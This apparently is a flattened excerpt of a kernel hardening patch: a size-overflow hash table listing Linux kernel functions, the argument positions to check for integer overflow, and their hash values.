acpi_ut_create_buffer_object 1 42030 _001315_hash NULL ++_001316_hash acpi_ut_create_package_object 1 17594 _001316_hash NULL ++_001317_hash acpi_ut_create_string_object 1 15360 _001317_hash NULL ++_001318_hash ad7879_spi_multi_read 3 8218 _001318_hash NULL ++_001319_hash add_child 4 45201 _001319_hash NULL ++_001320_hash add_port 2 54941 _001320_hash NULL ++_001321_hash adu_read 3 24177 _001321_hash NULL ++_001322_hash afs_cell_create 2 27346 _001322_hash NULL ++_001323_hash agp_allocate_memory 2 58761 _001323_hash NULL ++_001324_hash agp_generic_alloc_user 1 9470 _001324_hash NULL ++_001325_hash alc_auto_create_extra_outs 2 18975 _001325_hash NULL ++_001326_hash alloc_agpphysmem_i8xx 1 39427 _001326_hash NULL ++_001327_hash allocate_cnodes 1 5329 _001327_hash NULL ++_001328_hash ___alloc_bootmem 1 11410 _001328_hash NULL ++_001329_hash __alloc_bootmem_low_node 2 25726 _001662_hash NULL nohasharray ++_001330_hash __alloc_bootmem_node 2 1992 _001330_hash NULL ++_001331_hash __alloc_bootmem_node_nopanic 2 6432 _001331_hash NULL ++_001332_hash __alloc_bootmem_nopanic 1 65397 _001332_hash NULL ++_001333_hash alloc_candev 1-2 7776 _001333_hash NULL ++_001335_hash _alloc_cdb_cont 2 23609 _001335_hash NULL ++_001336_hash alloc_dummy_extent_buffer 2 56374 _001336_hash NULL ++_001337_hash ____alloc_ei_netdev 1 51475 _001337_hash NULL ++_001338_hash alloc_etherdev_mqs 1 36450 _001338_hash NULL ++_001339_hash alloc_extent_buffer 3 52824 _001339_hash NULL ++_001340_hash alloc_fcdev 1 18780 _001340_hash NULL ++_001341_hash alloc_fddidev 1 15382 _001341_hash NULL ++_001342_hash _alloc_get_attr_desc 2 470 _001342_hash NULL ++_001343_hash alloc_hippi_dev 1 51320 _001343_hash NULL ++_001344_hash alloc_irdadev 1 19140 _001344_hash NULL ++_001345_hash alloc_ldt 2 21972 _001345_hash NULL ++_001346_hash alloc_ltalkdev 1 38071 _001346_hash NULL ++_001347_hash alloc_one_pg_vec_page 1 10747 _001347_hash NULL ++_001348_hash alloc_orinocodev 1 21371 _001348_hash NULL ++_001349_hash alloc_ring 2-4 18278 _001349_hash NULL ++_001351_hash _alloc_set_attr_list 4 48991 _001351_hash NULL ++_001353_hash alloc_tx 2 32143 _001353_hash NULL ++_001354_hash alloc_wr 1-2 24635 _001354_hash NULL ++_001356_hash async_setkey 3 35521 _001356_hash NULL ++_001357_hash ata_host_alloc_pinfo 3 17325 _001357_hash NULL ++_001360_hash ath6kl_connect_event 7-9-8 14267 _001360_hash NULL ++_001361_hash ath6kl_fwlog_block_read 3 49836 _001361_hash NULL ++_001362_hash ath6kl_fwlog_read 3 32101 _001362_hash NULL ++_001363_hash ath9k_wmi_cmd 4 327 _001363_hash NULL ++_001364_hash ath_rx_init 2 43564 _001364_hash NULL ++_001365_hash ath_tx_init 2 60515 _001365_hash NULL ++_001366_hash atm_alloc_charge 2 19517 _001914_hash NULL nohasharray ++_001367_hash atm_get_addr 3 31221 _001367_hash NULL ++_001368_hash audit_log_n_hex 3 45617 _001368_hash NULL ++_001369_hash audit_log_n_string 3 31705 _001369_hash NULL ++_001370_hash ax25_output 2 22736 _001370_hash NULL ++_001371_hash bcsp_prepare_pkt 3 12961 _001371_hash NULL ++_001372_hash bdx_rxdb_create 1 46525 _001372_hash NULL ++_001373_hash bdx_tx_db_init 2 41719 _001373_hash NULL ++_001374_hash bio_map_kern 3 64751 _001374_hash NULL ++_001375_hash bits_to_user 2-3 47733 _001375_hash NULL ++_001377_hash __blk_queue_init_tags 2 9778 _001377_hash NULL ++_001378_hash blk_queue_resize_tags 2 28670 _001378_hash NULL ++_001379_hash blk_rq_map_user_iov 5 16772 _001379_hash NULL ++_001380_hash bm_init 2 13529 _001380_hash NULL ++_001381_hash brcmf_alloc_wdev 1 60347 _001381_hash NULL ++_001382_hash __btrfs_buffered_write 3 35311 _002735_hash NULL nohasharray ++_001383_hash btrfs_insert_dir_item 4 59304 _001383_hash NULL ++_001384_hash btrfs_map_block 3 64379 _001384_hash NULL ++_001385_hash bt_skb_alloc 1 6404 _001385_hash NULL ++_001386_hash c4_add_card 3 54968 _001386_hash NULL ++_001387_hash cache_read 3 24790 _001387_hash NULL ++_001388_hash cache_write 3 13589 _001388_hash NULL ++_001389_hash calc_hmac 3 32010 _001389_hash NULL ++_001390_hash capinc_tty_write 3 28539 _001390_hash NULL ++_001391_hash ccid_getsockopt_builtin_ccids 2 53634 _001391_hash NULL ++_001392_hash ceph_copy_page_vector_to_user 3-4 31270 _001392_hash NULL ++_001394_hash ceph_parse_server_name 2 60318 _001394_hash NULL ++_001395_hash ceph_read_dir 3 17005 _001395_hash NULL ++_001396_hash cfg80211_roamed 5-7 32632 _001396_hash NULL ++_001398_hash cfpkt_add_body 3 44630 _001398_hash NULL ++_001399_hash cfpkt_create_pfx 1-2 23594 _001399_hash NULL ++_001401_hash cmd_complete 6 51629 _001401_hash NULL ++_001402_hash cmtp_add_msgpart 4 9252 _001402_hash NULL ++_001403_hash cmtp_send_interopmsg 7 376 _001403_hash NULL ++_001404_hash coda_psdev_read 3 35029 _001404_hash NULL ++_001405_hash construct_key_and_link 4 8321 _001405_hash NULL ++_001406_hash copy_counters_to_user 5 17027 _001406_hash NULL ++_001407_hash copy_entries_to_user 1 52367 _001407_hash NULL ++_001408_hash copy_from_buf 2-4 27308 _001408_hash NULL ++_001410_hash copy_oldmem_page 3-1 26164 _001410_hash NULL ++_001411_hash copy_to_user_fromio 3 57432 _001411_hash NULL ++_001412_hash cryptd_hash_setkey 3 42781 _001412_hash NULL ++_001413_hash crypto_authenc_esn_setkey 3 6985 _001413_hash NULL ++_001414_hash crypto_authenc_setkey 3 80 _001414_hash NULL ++_001415_hash cxgb3_get_cpl_reply_skb 2 10620 _001415_hash NULL ++_001416_hash cxgbi_ddp_reserve 4 30091 _001416_hash NULL ++_001417_hash cxio_init_resource_fifo 3 28764 _001417_hash NULL ++_001418_hash cxio_init_resource_fifo_random 3 47151 _001418_hash NULL ++_001419_hash datablob_hmac_append 3 40038 _001419_hash NULL ++_001420_hash datablob_hmac_verify 4 24786 _001420_hash NULL ++_001421_hash dataflash_read_fact_otp 3-2 33204 _001421_hash NULL ++_001422_hash dataflash_read_user_otp 3-2 14536 _001422_hash &_000207_hash ++_001423_hash dccp_feat_register_sp 5 17914 _001423_hash NULL ++_001424_hash dccp_setsockopt 5 60367 _001424_hash NULL ++_001425_hash __dev_alloc_skb 1 28681 _001425_hash NULL ++_001426_hash disk_expand_part_tbl 2 30561 _001426_hash NULL ++_001427_hash diva_os_alloc_message_buffer 1 64568 _001427_hash NULL ++_001428_hash diva_os_copy_to_user 4 48508 _001428_hash NULL ++_001429_hash diva_os_malloc 2 16406 _001429_hash NULL ++_001430_hash dmam_declare_coherent_memory 4-2 43679 _001430_hash NULL ++_001431_hash dm_vcalloc 1-2 16814 _001431_hash NULL ++_001433_hash dn_alloc_skb 2 6631 _001433_hash NULL ++_001434_hash do_proc_readlink 3 14096 _001434_hash NULL ++_001435_hash do_readlink 2 43518 _001435_hash NULL ++_001436_hash __do_replace 5 37227 _001436_hash NULL ++_001437_hash do_sigpending 2 9766 _001437_hash NULL ++_001438_hash drbd_bm_resize 2 20522 _001438_hash NULL ++_001439_hash drbd_setsockopt 5 16280 _001439_hash &_000383_hash ++_001440_hash dump_midi 3 51040 _001440_hash NULL ++_001441_hash ecryptfs_filldir 3 6622 _001441_hash NULL ++_001442_hash ecryptfs_send_message 2 18322 _001442_hash NULL ++_001443_hash ep0_read 3 38095 _001443_hash NULL ++_001444_hash evdev_ioctl 2 22371 _001444_hash NULL ++_001445_hash ext4_add_new_descs 3 19509 _001445_hash NULL ++_001446_hash fat_ioctl_filldir 3 36621 _001446_hash NULL ++_001447_hash _fc_frame_alloc 1 43568 _001447_hash NULL ++_001448_hash fc_host_post_vendor_event 3 30903 _001448_hash NULL ++_001449_hash fd_copyout 3 59323 _001449_hash NULL ++_001450_hash f_hidg_read 3 6238 _001450_hash NULL ++_001451_hash filldir 3 55137 _001451_hash NULL ++_001452_hash filldir64 3 46469 _001452_hash NULL ++_001453_hash find_skb 2 20431 _001453_hash NULL ++_001454_hash from_buffer 3 18625 _001454_hash NULL ++_001455_hash fsm_init 2 16134 _001455_hash NULL ++_001456_hash fs_path_add 3 15648 _001456_hash NULL ++_001457_hash fs_path_add_from_extent_buffer 4 27702 _001457_hash NULL ++_001458_hash fuse_perform_write 4 18457 _001458_hash NULL ++_001459_hash gem_alloc_skb 2 51715 _001459_hash NULL ++_001460_hash generic_file_buffered_write 4 25464 _001460_hash NULL ++_001461_hash gen_pool_add 3 21776 _001461_hash NULL ++_001462_hash get_packet 3 41914 _001462_hash NULL ++_001463_hash get_packet 3 5747 _001463_hash NULL ++_001464_hash get_packet_pg 4 28023 _001464_hash NULL ++_001465_hash get_skb 2 63008 _001465_hash NULL ++_001466_hash get_subdir 3 62581 _001466_hash NULL ++_001467_hash gsm_control_message 4 18209 _001467_hash NULL ++_001468_hash gsm_control_modem 3 55303 _001468_hash NULL ++_001469_hash gsm_control_rls 3 3353 _001469_hash NULL ++_001470_hash handle_received_packet 3 22457 _001470_hash NULL ++_001471_hash hash_setkey 3 48310 _001471_hash NULL ++_001472_hash hdlcdrv_register 2 6792 _001472_hash NULL ++_001473_hash hiddev_ioctl 2 36816 _001473_hash NULL ++_001474_hash hid_input_report 4 32458 _001474_hash NULL ++_001475_hash hidp_queue_report 3 1881 _001475_hash NULL ++_001476_hash __hidp_send_ctrl_message 4 28303 _001476_hash NULL ++_001477_hash hidraw_read 3 59650 _001477_hash &_001265_hash ++_001478_hash HiSax_readstatus 2 15752 _001478_hash NULL ++_001480_hash __hwahc_op_set_gtk 4 42038 _001480_hash NULL ++_001481_hash __hwahc_op_set_ptk 5 36510 _001481_hash NULL ++_001482_hash hycapi_rx_capipkt 3 11602 _001482_hash NULL ++_001483_hash i2400m_net_rx 5 27170 _001483_hash NULL ++_001484_hash ib_copy_to_udata 3 27525 _001484_hash NULL ++_001485_hash idetape_chrdev_read 3 2097 _001485_hash NULL ++_001486_hash ieee80211_alloc_hw 1 43829 _001486_hash NULL ++_001487_hash ieee80211_bss_info_update 4 13991 _001487_hash NULL ++_001488_hash igmpv3_newpack 2 35912 _001488_hash NULL ++_001489_hash ilo_read 3 32531 _001489_hash NULL ++_001490_hash init_map_ipmac 3-4 63896 _001490_hash NULL ++_001492_hash init_tid_tabs 2-4-3 13252 _001492_hash NULL ++_001495_hash iowarrior_read 3 53483 _001495_hash NULL ++_001496_hash ip_options_get 4 56538 _001496_hash NULL ++_001497_hash ipv6_getsockopt_sticky 5 56711 _001497_hash NULL ++_001498_hash ipwireless_send_packet 4 8328 _001498_hash NULL ++_001499_hash ipx_sendmsg 4 1362 _001499_hash NULL ++_001500_hash irq_domain_add_linear 2 29236 _001500_hash NULL ++_001501_hash iscsi_conn_setup 2 35159 _001501_hash NULL ++_001502_hash iscsi_create_session 3 51647 _001502_hash NULL ++_001503_hash iscsi_host_alloc 2 36671 _001503_hash NULL ++_001504_hash iscsi_if_send_reply 7 52219 _001504_hash NULL ++_001505_hash iscsi_offload_mesg 5 58425 _001505_hash NULL ++_001506_hash iscsi_ping_comp_event 5 38263 _001506_hash NULL ++_001507_hash iscsi_post_host_event 4 13473 _001507_hash NULL ++_001508_hash iscsi_recv_pdu 4 16755 _001508_hash NULL ++_001509_hash iscsi_session_setup 4-5 196 _001509_hash NULL ++_001511_hash iscsit_find_cmd_from_itt_or_dump 3 17194 _003122_hash NULL nohasharray ++_001512_hash isdn_net_ciscohdlck_alloc_skb 2 55209 _001951_hash NULL nohasharray ++_001513_hash isdn_ppp_ccp_xmit_reset 6 63297 _001513_hash NULL ++_001514_hash isdn_ppp_read 4 50356 _001514_hash NULL ++_001515_hash isdn_ppp_skb_push 2 5236 _001515_hash NULL ++_001516_hash isku_sysfs_read 6 58806 _001516_hash NULL ++_001517_hash isku_sysfs_write 6 49767 _001517_hash NULL ++_001520_hash jbd2_alloc 1 41359 _001520_hash NULL ++_001521_hash jffs2_do_link 6 42048 _001521_hash NULL ++_001522_hash jffs2_do_unlink 4 62020 _001522_hash NULL ++_001523_hash jffs2_security_setxattr 4 62107 _001523_hash NULL ++_001524_hash jffs2_trusted_setxattr 4 17048 _001524_hash NULL ++_001525_hash jffs2_user_setxattr 4 10182 _001525_hash NULL ++_001526_hash joydev_ioctl_common 2 49359 _001526_hash NULL ++_001527_hash kernel_setsockopt 5 35913 _001527_hash NULL ++_001528_hash keyctl_describe_key 3 36853 _001528_hash NULL ++_001529_hash keyctl_get_security 3 64418 _001529_hash &_001192_hash ++_001530_hash keyring_read 3 13438 _001530_hash NULL ++_001531_hash kfifo_copy_to_user 3 20646 _001531_hash NULL ++_001532_hash kmem_zalloc_large 1 56128 _001532_hash NULL ++_001533_hash kmp_init 2 41373 _001533_hash NULL ++_001534_hash koneplus_sysfs_write 6 35993 _001534_hash NULL ++_001535_hash kvm_clear_guest_page 4 2308 _001535_hash NULL ++_001536_hash kvm_read_nested_guest_page 5 13337 _001536_hash NULL ++_001537_hash _l2_alloc_skb 1 11883 _001537_hash NULL ++_001538_hash l2cap_create_basic_pdu 3 24869 _001538_hash &_001074_hash ++_001539_hash l2cap_create_connless_pdu 3 37327 _001539_hash NULL ++_001540_hash l2cap_create_iframe_pdu 3 40055 _001540_hash NULL ++_001541_hash l3_alloc_skb 1 32289 _001541_hash NULL ++_001542_hash __lgwrite 4 57669 _001542_hash NULL ++_001543_hash libfc_host_alloc 2 7917 _001543_hash NULL ++_001544_hash llc_alloc_frame 4 64366 _001544_hash NULL ++_001545_hash llcp_sock_sendmsg 4 1092 _001545_hash NULL ++_001546_hash mac_drv_rx_init 2 48898 _001546_hash NULL ++_001547_hash macvtap_get_user 4 28185 _001547_hash NULL ++_001548_hash mdc800_device_read 3 22896 _001548_hash NULL ++_001549_hash memcpy_toiovec 3 54166 _001549_hash &_000892_hash ++_001550_hash memcpy_toiovecend 3-4 19736 _001550_hash NULL ++_001552_hash mempool_create 1 29437 _001552_hash NULL ++_001553_hash mgmt_event 4 12810 _001553_hash NULL ++_001554_hash mgt_set_varlen 4 60916 _001554_hash NULL ++_001555_hash mI_alloc_skb 1 24770 _001555_hash NULL ++_001556_hash mlx4_en_create_rx_ring 3 62498 _001556_hash NULL ++_001557_hash mlx4_en_create_tx_ring 4 48501 _001557_hash NULL ++_001558_hash mlx4_init_cmpt_table 3 11569 _001558_hash NULL ++_001559_hash mon_bin_get_event 4 52863 _001559_hash NULL ++_001560_hash mousedev_read 3 47123 _001560_hash NULL ++_001561_hash move_addr_to_user 2 2868 _001561_hash NULL ++_001562_hash mpihelp_mul 5-3 27805 _001562_hash NULL ++_001564_hash mpi_set_buffer 3 65294 _001564_hash NULL ++_001565_hash mptctl_ioctl 2 12355 _001565_hash NULL ++_001566_hash msnd_fifo_alloc 2 23179 _001566_hash NULL ++_001567_hash mtdswap_init 2 55719 _001567_hash NULL ++_001568_hash mthca_alloc_resize_buf 3 60394 _001568_hash NULL ++_001569_hash mthca_init_cq 2 60011 _001569_hash NULL ++_001570_hash nci_skb_alloc 2 49757 _001570_hash NULL ++_001571_hash neigh_hash_grow 2 17283 _001571_hash NULL ++_001572_hash netdev_alloc_skb 2 62437 _001572_hash NULL ++_001573_hash __netdev_alloc_skb_ip_align 2 55067 _001573_hash NULL ++_001574_hash netlink_change_ngroups 2 16457 _001574_hash NULL ++_001575_hash new_skb 1 21148 _001575_hash NULL ++_001576_hash nfc_alloc_recv_skb 1 10244 _001576_hash NULL ++_001577_hash nfcwilink_skb_alloc 1 16167 _001577_hash NULL ++_001578_hash __nf_nat_mangle_tcp_packet 5-7 8190 _001578_hash NULL ++_001580_hash nf_nat_mangle_udp_packet 5-7 13321 _001580_hash NULL ++_001582_hash nfqnl_mangle 4-2 36226 _001582_hash NULL ++_001583_hash nfs4_realloc_slot_table 2 22859 _001583_hash NULL ++_001584_hash nfs_idmap_get_key 2 39616 _001584_hash NULL ++_001585_hash nfs_readdata_alloc 2 65015 _001585_hash NULL ++_001586_hash nfs_writedata_alloc 2 12133 _001586_hash NULL ++_001587_hash nfulnl_alloc_skb 2 65207 _001587_hash NULL ++_001588_hash ni65_alloc_mem 3 10664 _001588_hash NULL ++_001589_hash nsm_get_handle 4 52089 _001589_hash NULL ++_001590_hash ntfs_malloc_nofs 1 49572 _001590_hash NULL ++_001591_hash ntfs_malloc_nofs_nofail 1 63631 _001591_hash NULL ++_001592_hash nvme_create_queue 3 170 _001592_hash NULL ++_001593_hash ocfs2_control_write 3 54737 _001593_hash NULL ++_001595_hash orinoco_add_extscan_result 3 18207 _001595_hash NULL ++_001596_hash osd_req_read_sg_kern 5 6378 _001596_hash NULL ++_001597_hash osd_req_write_sg_kern 5 10514 _001597_hash NULL ++_001599_hash override_release 2 52032 _001599_hash NULL ++_001600_hash p9_client_read 5 19750 _001600_hash NULL ++_001601_hash packet_snd 3 13634 _001601_hash NULL ++_001602_hash pcbit_stat 2 27364 _001602_hash NULL ++_001603_hash pcpu_extend_area_map 2 12589 _001603_hash NULL ++_001604_hash pep_alloc_skb 3 46303 _001604_hash NULL ++_001605_hash pg_read 3 17276 _001605_hash NULL ++_001606_hash picolcd_debug_eeprom_read 3 14549 _001606_hash NULL ++_001607_hash pkt_alloc_packet_data 1 37928 _001607_hash NULL ++_001608_hash pmcraid_build_passthrough_ioadls 2 62034 _001608_hash NULL ++_001609_hash pn_raw_send 2 54330 _001609_hash NULL ++_001610_hash posix_clock_register 2 5662 _001610_hash NULL ++_001611_hash printer_read 3 54851 _001611_hash NULL ++_001612_hash __proc_file_read 3 54978 _001612_hash NULL ++_001613_hash pskb_may_pull 2 22546 _001613_hash NULL ++_001614_hash __pskb_pull 2 42602 _001614_hash NULL ++_001615_hash ptp_read 4 63251 _001615_hash NULL ++_001616_hash pt_read 3 49136 _001616_hash NULL ++_001617_hash put_cmsg 4 36589 _001617_hash NULL ++_001618_hash px_raw_event 4 49371 _001618_hash NULL ++_001619_hash qla4xxx_post_aen_work 3 46953 _001619_hash NULL ++_001620_hash qla4xxx_post_ping_evt_work 4 8074 _001819_hash NULL nohasharray ++_001621_hash raid5_resize 2 63306 _001621_hash NULL ++_001622_hash rawv6_sendmsg 4 20080 _001622_hash NULL ++_001623_hash rds_message_map_pages 2 31487 _001623_hash NULL ++_001624_hash rds_sendmsg 4 40976 _001624_hash NULL ++_001625_hash read_flush 3 43851 _001625_hash NULL ++_001626_hash read_profile 3 27859 _001626_hash NULL ++_001627_hash read_vmcore 3 26501 _001627_hash NULL ++_001628_hash redirected_tty_write 3 65297 _001628_hash NULL ++_001629_hash refill_pool 2 19477 _001629_hash NULL ++_001630_hash __register_chrdev 2-3 54223 _001630_hash NULL ++_001632_hash regmap_raw_write 4 53803 _001632_hash NULL ++_001633_hash reiserfs_allocate_list_bitmaps 3 21732 _001633_hash NULL ++_001634_hash reiserfs_resize 2 34377 _001634_hash NULL ++_001635_hash request_key_auth_read 3 24109 _001635_hash NULL ++_001636_hash rfcomm_wmalloc 2 58090 _001636_hash NULL ++_001637_hash rfkill_fop_read 3 54711 _001637_hash NULL ++_001638_hash rng_dev_read 3 41581 _001638_hash NULL ++_001639_hash roccat_read 3 41093 _001639_hash &_001034_hash ++_001640_hash rx 4 57944 _001640_hash NULL ++_001641_hash rxrpc_client_sendmsg 5 23236 _001641_hash NULL ++_001642_hash rxrpc_kernel_send_data 3 60083 _001642_hash NULL ++_001643_hash rxrpc_server_sendmsg 4 37331 _001643_hash NULL ++_001644_hash savu_sysfs_write 6 42273 _001644_hash NULL ++_001645_hash sco_sock_sendmsg 4 62542 _001645_hash NULL ++_001646_hash scsi_nl_send_vendor_msg 5 16394 _001646_hash NULL ++_001647_hash scsi_register 2 49094 _001647_hash NULL ++_001648_hash sctp_datamsg_from_user 4 55342 _001648_hash NULL ++_001649_hash sctp_getsockopt_events 2 3607 _001649_hash NULL ++_001650_hash sctp_getsockopt_maxburst 2 42941 _001650_hash NULL ++_001651_hash sctp_getsockopt_maxseg 2 10737 _001651_hash NULL ++_001652_hash sctp_make_chunk 4 12986 _001652_hash NULL ++_001653_hash sctpprobe_read 3 17741 _001653_hash NULL ++_001654_hash sctp_tsnmap_mark 2 35929 _001654_hash NULL ++_001655_hash sctp_ulpevent_new 1 33377 _001655_hash NULL ++_001656_hash sdhci_alloc_host 2 7509 _001656_hash NULL ++_001657_hash selinux_inode_post_setxattr 4 26037 _001657_hash NULL ++_001658_hash selinux_inode_setsecurity 4 18148 _001658_hash NULL ++_001659_hash selinux_inode_setxattr 4 10708 _001659_hash NULL ++_001660_hash selinux_secctx_to_secid 2 63744 _001660_hash NULL ++_001661_hash selinux_setprocattr 4 55611 _001661_hash NULL ++_001662_hash sel_write_context 3 25726 _001662_hash &_001329_hash ++_001663_hash send_command 4 10832 _001663_hash NULL ++_001664_hash seq_copy_in_user 3 18543 _001664_hash NULL ++_001665_hash seq_open_net 4 8968 _001779_hash NULL nohasharray ++_001666_hash seq_open_private 3 61589 _001666_hash NULL ++_001667_hash set_arg 3 42824 _001667_hash NULL ++_001668_hash sg_read 3 25799 _001668_hash NULL ++_001669_hash shash_async_setkey 3 10720 _003506_hash NULL nohasharray ++_001670_hash shash_compat_setkey 3 12267 _001670_hash NULL ++_001671_hash shmem_setxattr 4 55867 _001671_hash NULL ++_001672_hash simple_read_from_buffer 2-5 55957 _001672_hash NULL ++_001674_hash sisusb_clear_vram 2-3 57466 _001674_hash NULL ++_001676_hash sisusbcon_do_font_op 9 52271 _001676_hash NULL ++_001677_hash sisusb_copy_memory 4 35016 _001677_hash NULL ++_001678_hash sisusb_write 3 44834 _001678_hash NULL ++_001680_hash skb_cow 2 26138 _001680_hash NULL ++_001681_hash skb_cow_head 2 52495 _001681_hash NULL ++_001682_hash skb_make_writable 2 24783 _001682_hash NULL ++_001683_hash skb_padto 2 50759 _001683_hash NULL ++_001684_hash sk_stream_alloc_skb 2 57622 _001684_hash NULL ++_001685_hash smk_write_access2 3 19170 _001685_hash NULL ++_001686_hash smk_write_access 3 49561 _001686_hash NULL ++_001687_hash snd_es1938_capture_copy 5 25930 _001687_hash NULL ++_001688_hash snd_gus_dram_peek 4 9062 _001688_hash NULL ++_001689_hash snd_hdsp_capture_copy 5 4011 _001689_hash NULL ++_001690_hash snd_korg1212_copy_to 6 92 _001690_hash NULL ++_001691_hash snd_opl4_mem_proc_read 5 63774 _001691_hash NULL ++_001692_hash snd_pcm_oss_read1 3 63771 _001692_hash NULL ++_001693_hash snd_pcm_plugin_alloc 2 12580 _001693_hash NULL ++_001694_hash snd_rawmidi_kernel_read1 4 36740 _001694_hash NULL ++_001695_hash snd_rme9652_capture_copy 5 10287 _001695_hash NULL ++_001696_hash sock_alloc_send_pskb 2 21246 _001696_hash NULL ++_001697_hash sock_rmalloc 2 59740 _002491_hash NULL nohasharray ++_001698_hash sock_wmalloc 2 16472 _001698_hash NULL ++_001699_hash solos_param_store 4 34755 _001699_hash NULL ++_001702_hash srp_target_alloc 3 37288 _001702_hash NULL ++_001703_hash store_ifalias 4 35088 _001703_hash NULL ++_001704_hash store_msg 3 56417 _001704_hash NULL ++_001705_hash str_to_user 2 11411 _001705_hash NULL ++_001706_hash subbuf_read_actor 3 2071 _001706_hash NULL ++_001707_hash sys_fgetxattr 4 25166 _001707_hash NULL ++_001708_hash sys_gethostname 2 49698 _001708_hash NULL ++_001709_hash sys_getxattr 4 37418 _001709_hash NULL ++_001710_hash sys_init_module 2 36047 _001710_hash NULL ++_001711_hash sys_kexec_load 2 14222 _001711_hash NULL ++_001712_hash sys_lgetxattr 4 45531 _001712_hash NULL ++_001713_hash syslog_print 2 307 _001713_hash NULL ++_001714_hash sys_msgsnd 3 44537 _001714_hash &_000139_hash ++_001715_hash sys_process_vm_readv 3-5 19090 _003104_hash NULL nohasharray ++_001717_hash sys_process_vm_writev 3-5 4928 _001717_hash NULL ++_001719_hash sys_pselect6 1 57449 _001719_hash NULL ++_001720_hash sys_sched_getaffinity 2 60033 _001720_hash NULL ++_001721_hash sys_setsockopt 5 35320 _001721_hash NULL ++_001722_hash t3_init_l2t 1 8261 _001722_hash NULL ++_001723_hash t4vf_pktgl_to_skb 2 39005 _001723_hash NULL ++_001724_hash tcp_collapse 5-6 63294 _001724_hash NULL ++_001726_hash tcp_sendmsg 4 30296 _001726_hash NULL ++_001727_hash team_options_register 3 20091 _001727_hash NULL ++_001728_hash tipc_buf_acquire 1 60437 _001728_hash NULL ++_001729_hash tipc_cfg_reply_alloc 1 27606 _001729_hash NULL ++_001730_hash tipc_send2name 6 16809 _001730_hash NULL ++_001731_hash tipc_send2port 5 63935 _001731_hash NULL ++_001732_hash tipc_send 4 51238 _001732_hash NULL ++_001733_hash tnode_new 3 44757 _002769_hash NULL nohasharray ++_001734_hash tomoyo_read_self 3 33539 _001734_hash NULL ++_001735_hash tomoyo_update_domain 2 5498 _001735_hash NULL ++_001736_hash tomoyo_update_policy 2 40458 _001736_hash NULL ++_001737_hash tpm_read 3 50344 _001737_hash NULL ++_001738_hash TSS_rawhmac 3 17486 _001738_hash NULL ++_001739_hash __tty_buffer_request_room 2 27700 _001739_hash NULL ++_001740_hash tun_get_user 4 39099 _001740_hash NULL ++_001741_hash ubi_dump_flash 4 46381 _001741_hash NULL ++_001742_hash ubi_io_write 4-5 15870 _003453_hash NULL nohasharray ++_001744_hash udp_setsockopt 5 25985 _001744_hash NULL ++_001745_hash udpv6_setsockopt 5 18487 _001745_hash NULL ++_001746_hash uio_read 3 49300 _001746_hash NULL ++_001747_hash ulog_alloc_skb 1 23427 _001747_hash NULL ++_001748_hash unix_dgram_sendmsg 4 45699 _001748_hash NULL ++_001749_hash unlink1 3 63059 _001749_hash NULL ++_001751_hash usbdev_read 3 45114 _001751_hash NULL ++_001752_hash usblp_ioctl 2 30203 _001752_hash NULL ++_001753_hash usblp_read 3 57342 _003832_hash NULL nohasharray ++_001754_hash usbtmc_read 3 32377 _001754_hash NULL ++_001755_hash _usb_writeN_sync 4 31682 _001755_hash NULL ++_001756_hash user_read 3 51881 _001756_hash NULL ++_001757_hash vcs_read 3 8017 _001757_hash NULL ++_001758_hash vdma_mem_alloc 1 6171 _001758_hash NULL ++_001759_hash venus_create 4 20555 _001759_hash NULL ++_001760_hash venus_link 5 32165 _001760_hash NULL ++_001761_hash venus_lookup 4 8121 _001761_hash NULL ++_001762_hash venus_mkdir 4 8967 _001762_hash NULL ++_001763_hash venus_remove 4 59781 _001763_hash NULL ++_001764_hash venus_rename 4-5 17707 _003784_hash NULL nohasharray ++_001766_hash venus_rmdir 4 45564 _001766_hash NULL ++_001767_hash venus_symlink 4-6 23570 _001767_hash NULL ++_001769_hash vfs_readlink 3 54368 _001769_hash NULL ++_001770_hash vfs_readv 3 38011 _001770_hash NULL ++_001771_hash vfs_writev 3 25278 _001771_hash NULL ++_001772_hash vga_arb_read 3 4886 _001772_hash NULL ++_001773_hash vgacon_adjust_height 2 28124 _001773_hash NULL ++_001774_hash vhci_put_user 4 12604 _001774_hash NULL ++_001775_hash vhost_add_used_n 3 10760 _001775_hash NULL ++_001776_hash virtnet_send_command 5-6 61993 _001776_hash NULL ++_001778_hash vmbus_establish_gpadl 3 4495 _001778_hash NULL ++_001779_hash vol_cdev_read 3 8968 _001779_hash &_001665_hash ++_001780_hash wdm_read 3 6549 _001780_hash NULL ++_001781_hash write_adapter_mem 3 3234 _001781_hash NULL ++_001782_hash wusb_prf 7 54261 _001782_hash &_000065_hash ++_001783_hash xdi_copy_to_user 4 48900 _001783_hash NULL ++_001784_hash xfs_buf_associate_memory 3 17915 _001784_hash NULL ++_001785_hash xfs_buf_get_maps 2 4581 _001785_hash NULL ++_001786_hash xfs_buf_get_uncached 2 51477 _001786_hash NULL ++_001787_hash xfs_buf_item_get_format 2 189 _001787_hash NULL ++_001788_hash xfs_buf_map_from_irec 5 2368 _002641_hash NULL nohasharray ++_001789_hash xfs_dir2_block_to_sf 3 37868 _001789_hash NULL ++_001790_hash xfs_dir2_leaf_getdents 3 23841 _001790_hash NULL ++_001791_hash xfs_dir2_sf_addname_hard 3 54254 _001791_hash NULL ++_001792_hash xfs_efd_init 3 5463 _001792_hash NULL ++_001793_hash xfs_efi_init 2 5476 _001793_hash NULL ++_001794_hash xfs_iext_realloc_direct 2 20521 _001794_hash NULL ++_001795_hash xfs_iext_realloc_indirect 2 59211 _001795_hash NULL ++_001796_hash xfs_inumbers_fmt 3 12817 _001796_hash NULL ++_001797_hash xhci_alloc_streams 5 37586 _001797_hash NULL ++_001798_hash xlog_recover_add_to_cont_trans 4 44102 _001798_hash NULL ++_001799_hash xz_dec_lzma2_create 2 36353 _002713_hash NULL nohasharray ++_001800_hash _zd_iowrite32v_locked 3 44725 _001800_hash NULL ++_001801_hash a2mp_chan_alloc_skb_cb 2 27159 _001801_hash NULL ++_001802_hash aat2870_reg_read_file 3 12221 _001802_hash NULL ++_001803_hash add_partition 2 55588 _001803_hash NULL ++_001804_hash add_sctp_bind_addr 3 12269 _001804_hash NULL ++_001805_hash _add_sg_continuation_descriptor 3 54721 _001805_hash NULL ++_001806_hash afs_cell_lookup 2 8482 _001806_hash NULL ++_001807_hash afs_send_simple_reply 3 63940 _001807_hash NULL ++_001808_hash agp_allocate_memory_wrap 1 16576 _001808_hash NULL ++_001809_hash __alloc_bootmem 1 31498 _001809_hash NULL ++_001810_hash __alloc_bootmem_low 1 43423 _003425_hash NULL nohasharray ++_001811_hash __alloc_bootmem_node_high 2 65076 _001811_hash NULL ++_001812_hash alloc_cc770dev 1 48186 _001812_hash NULL 